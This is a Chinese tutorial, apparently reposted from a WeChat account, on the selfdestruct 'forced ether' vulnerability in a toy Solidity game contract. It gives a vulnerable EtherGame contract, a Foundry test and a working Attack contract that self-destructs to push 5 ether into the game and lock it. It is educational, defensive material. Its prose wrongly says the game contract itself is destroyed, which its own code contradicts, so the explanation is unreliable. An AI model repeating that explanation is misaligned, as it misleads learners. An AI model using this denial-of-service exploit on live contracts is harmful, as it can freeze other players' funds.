自我毁灭漏洞
描述:
EtherGame自我毁灭漏洞是智能合约代码中的一个缺陷,它允许攻击者通过使EtherGame合约自我毁灭(使用selfdestruct操作码)来破坏游戏。该漏洞源于攻击合约中的dos函数,该函数在收到大量以太币后对EtherGame合约执行自我毁灭操作。由于自我毁灭,EtherGame合约的功能被永久禁用,使得任何人都无法存款或索取获胜者的奖励。
场景:
-
部署EtherGame -
玩家(比如Alice和Bob)决定玩游戏,各自存入1个以太币。 -
部署EtherGame地址的攻击合约 -
调用Attack.attack并发送5个以太币。这将破坏游戏,没有人可以成为获胜者。
发生了什么?
攻击将EtherGame的余额强制等于7个以太币。现在没有人可以存款,也无法设置获胜者。由于缺少或不足的访问控制,恶意方可以使合约自我毁灭。selfdestruct(address)函数从合约地址移除所有字节码,并将存储的所有以太币发送到指定地址。
缓解措施:
不要依赖this.balance来追踪存入的以太币,而是使用一个状态变量来追踪总存款金额。
EtherGame合约:
contract EtherGame {
uint public constant targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance; // vulnerable
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
测试方式:
forge test –contracts src/test/Selfdestruct.sol -vvvv
// Test function for a scenario where selfdestruct is used.
function testSelfdestruct() public {
// Log Alice's balance.
console.log("Alice balance", alice.balance);
// Log Eve's balance.
console.log("Eve balance", eve.balance);
// Log the start of Alice's deposit.
console.log("Alice deposit 1 Ether...");
// Set the message sender to Alice.
vm.prank(alice);
// Alice deposits 1 ether to the EtherGameContract.
EtherGameContract.deposit{value: 1 ether}();
// Log the start of Eve's deposit.
console.log("Eve deposit 1 Ether...");
// Set the message sender to Eve.
vm.prank(eve);
// Eve deposits 1 ether to the EtherGameContract.
EtherGameContract.deposit{value: 1 ether}();
// Log the balance of the EtherGameContract.
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
// Log the start of the attack.
console.log("Attack...");
// Create a new instance of the Attack contract with EtherGameContract as a parameter.
AttackerContract = new Attack(EtherGameContract);
// Send 5 ether to the dos function of the AttackerContract.
AttackerContract.dos{value: 5 ether}();
// Log the new balance of the EtherGameContract after the attack.
console.log(
"Balance of EtherGameContract",
address(EtherGameContract).balance
);
// Log the completion of the exploit.
console.log("Exploit completed, Game is over");
// Try to deposit 1 ether to the EtherGameContract. This call will fail as the contract has been destroyed.
EtherGameContract.deposit{value: 1 ether}(); // This call will fail due to contract destroyed.
}
// Contract to attack the EtherGame contract.
contract Attack {
// The EtherGame contract to be attacked.
EtherGame etherGame;
// Constructor to set the EtherGame contract.
constructor(EtherGame _etherGame) {
etherGame = _etherGame;
}
// The function to perform the attack.
function dos() public payable {
// Break the game by sending ether so that the game balance is >= 7 ether.
// Cast the EtherGame contract address to a payable address.
address payable addr = payable(address(etherGame));
// Self-destruct the contract and send its balance to the EtherGame contract.
selfdestruct(addr);
}
}
红框表示利用成功
原文始发于微信公众号(3072):智能合约漏洞入门(2) 自我毁灭漏洞